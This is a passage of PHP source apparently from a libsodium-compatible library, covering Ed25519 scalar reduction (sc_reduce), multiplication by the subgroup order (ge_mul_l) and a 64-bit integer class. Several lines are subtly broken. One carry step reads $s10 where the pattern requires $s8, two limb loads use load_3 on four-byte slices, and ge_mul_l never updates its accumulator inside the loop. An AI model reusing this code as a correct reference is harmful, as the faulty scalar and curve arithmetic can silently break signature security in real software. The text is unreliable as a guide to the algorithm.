        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s10->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0  =  $s0->toInt();
        $S1  =  $s1->toInt();
        $S2  =  $s2->toInt();
        $S3  =  $s3->toInt();
        $S4  =  $s4->toInt();
        $S5  =  $s5->toInt();
        $S6  =  $s6->toInt();
        $S7  =  $s7->toInt();
        $S8  =  $s8->toInt();
        $S9  =  $s9->toInt();
        $S10 = $s10->toInt();
        $S11 = $s11->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($S0 >> 0)),
            (int) (0xff & ($S0 >> 8)),
            (int) (0xff & (($S0 >> 16) | ($S1 << 5))),
            (int) (0xff & ($S1 >> 3)),
            (int) (0xff & ($S1 >> 11)),
            (int) (0xff & (($S1 >> 19) | ($S2 << 2))),
            (int) (0xff & ($S2 >> 6)),
            (int) (0xff & (($S2 >> 14) | ($S3 << 7))),
            (int) (0xff & ($S3 >> 1)),
            (int) (0xff & ($S3 >> 9)),
            (int) (0xff & (($S3 >> 17) | ($S4 << 4))),
            (int) (0xff & ($S4 >> 4)),
            (int) (0xff & ($S4 >> 12)),
            (int) (0xff & (($S4 >> 20) | ($S5 << 1))),
            (int) (0xff & ($S5 >> 7)),
            (int) (0xff & (($S5 >> 15) | ($S6 << 6))),
            (int) (0xff & ($S6 >> 2)),
            (int) (0xff & ($S6 >> 10)),
            (int) (0xff & (($S6 >> 18) | ($S7 << 3))),
            (int) (0xff & ($S7 >> 5)),
            (int) (0xff & ($S7 >> 13)),
            (int) (0xff & ($S8 >> 0)),
            (int) (0xff & ($S8 >> 8)),
            (int) (0xff & (($S8 >> 16) | ($S9 << 5))),
            (int) (0xff & ($S9 >> 3)),
            (int) (0xff & ($S9 >> 11)),
            (int) (0xff & (($S9 >> 19) | ($S10 << 2))),
            (int) (0xff & ($S10 >> 6)),
            (int) (0xff & (($S10 >> 14) | ($S11 << 7))),
            (int) (0xff & ($S11 >> 1)),
            (int) (0xff & ($S11 >> 9)),
            (int) (0xff & ($S11 >> 17))
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */
        $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3)));
        $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5));
        $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2));
        $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7));
        $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4));
        $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1));
        $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6));
        $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3));
        $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3)));
        $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5));
        $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2));
        $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7));
        $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4));
        $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1));
        $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6));
        $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3));
        $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3)));
        $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5));
        $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2));
        $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7));
        $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4));
        $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1));
        $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6));
        $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0 = $s0->toInt32()->toInt();
        $S1 = $s1->toInt32()->toInt();
        $S2 = $s2->toInt32()->toInt();
        $S3 = $s3->toInt32()->toInt();
        $S4 = $s4->toInt32()->toInt();
        $S5 = $s5->toInt32()->toInt();
        $S6 = $s6->toInt32()->toInt();
        $S7 = $s7->toInt32()->toInt();
        $S8 = $s8->toInt32()->toInt();
        $S9 = $s9->toInt32()->toInt();
        $S10 = $s10->toInt32()->toInt();
        $S11 = $s11->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($S0 >> 0),
            (int) ($S0 >> 8),
            (int) (($S0 >> 16) | ($S1 << 5)),
            (int) ($S1 >> 3),
            (int) ($S1 >> 11),
            (int) (($S1 >> 19) | ($S2 << 2)),
            (int) ($S2 >> 6),
            (int) (($S2 >> 14) | ($S3 << 7)),
            (int) ($S3 >> 1),
            (int) ($S3 >> 9),
            (int) (($S3 >> 17) | ($S4 << 4)),
            (int) ($S4 >> 4),
            (int) ($S4 >> 12),
            (int) (($S4 >> 20) | ($S5 << 1)),
            (int) ($S5 >> 7),
            (int) (($S5 >> 15) | ($S6 << 6)),
            (int) ($S6 >> 2),
            (int) ($S6 >> 10),
            (int) (($S6 >> 18) | ($S7 << 3)),
            (int) ($S7 >> 5),
            (int) ($S7 >> 13),
            (int) ($S8 >> 0),
            (int) ($S8 >> 8),
            (int) (($S8 >> 16) | ($S9 << 5)),
            (int) ($S9 >> 3),
            (int) ($S9 >> 11),
            (int) (($S9 >> 19) | ($S10 << 2)),
            (int) ($S10 >> 6),
            (int) (($S10 >> 14) | ($S11 << 7)),
            (int) ($S11 >> 1),
            (int) ($S11 >> 9),
            (int) $S11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }
        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core32_Int64
 *
 * Encapsulates a 64-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int64
{
    /**
     * @var array<int, int> - four 16-bit integers
     */
    public $limbs = array(0, 0, 0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int64 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1],
            (int) $array[2],
            (int) $array[3]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int64 objects
     *
     * @param ParagonIE_Sodium_Core32_Int64 $addend
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];
        $j2 = $addend->limbs[2];
        $j3 = $addend->limbs[3];

        $r3 = $i3 + ($j3 & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + ($j2 & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + ($j1 & 0xffff) + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int64 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];

        $r3 = $i3 + ($int & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;
